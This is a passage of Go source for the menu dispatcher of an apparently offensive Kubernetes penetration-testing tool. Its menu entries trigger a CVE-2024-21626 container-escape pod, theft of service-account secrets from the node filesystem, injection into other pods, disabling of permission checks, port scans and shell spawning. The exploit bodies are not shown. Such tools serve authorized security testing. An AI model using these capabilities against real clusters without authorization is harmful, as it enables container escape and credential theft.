[leakyvessels] * 573 | case "23", "leakyvessels", "cve-2024-21626": 574 | _ = createLeakyVesselPod(connectionString) 575 | 576 | // [30] Steal secrets from the node filesystem [nodefs-steal-secrets] 577 | case "30", "nodefs-steal-secrets", "steal-nodefs-secrets": 578 | println("\nAttempting to steal secrets from the node filesystem - this will return no output if run in a container or if /var/lib/kubelet is inaccessible.\n") 579 | gatherPodCredentials(&serviceAccounts, true, true) 580 | 581 | // [31] List all secrets stolen from the node filesystem [nodefs-secrets-list] (unimplemented) 582 | case "31", "nodefs-secrets-list", "list-nodefs-secrets": 583 | println("Item not yet implemented") 584 | 585 | // [89] Inject peirates into another pod via API Server [inject-and-exec] 586 | case "89", "inject-and-exec": 587 | 588 | injectAndExecMenu(connectionString) 589 | 590 | // [91] Make an HTTP request (GET or POST) to a URL of your choice [curl] 591 | // This is available both on the main menu line and interactively. 592 | // Here's the interactive. 593 | case "91", "curl": 594 | 595 | curl(interactive, logToFile, outputFileName) 596 | 597 | // [92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i] 598 | case "92", "set-auth-can-i": 599 | setAuthCanIMenu(&UseAuthCanI, interactive) 600 | 601 | // [93] Run a simple all-ports TCP port scan against an IP address [tcpscan] 602 | case "93", "tcpscan", "tcp scan", "portscan", "port scan": 603 | 604 | tcpScan(interactive) 605 | 606 | case "94", "enumerate-dns": 607 | _ = enumerateDNS() 608 | 609 | case "bash": 610 | _ = runBash() 611 | 612 | case "sh": 613 | _ = runSH() 614 | 615 | case "full", "help": 616 | fullMenu = true 617 | // Skip the "press enter to continue" 618 | continue 619 | 620 | case "short", "minimal": 621 | fullMenu = false 622 | // Skip the "press enter to continue" 623 | continue 624 | 625 | default: 626 | fmt.Println("Command unrecognized.") 627 | } 628 | 629 | if !interactive { 630 | os.Exit(0) 631 | } 632 | clearScreen(interactive) 633 | } 634 | } 635 | --------------------------------------------------------------------------------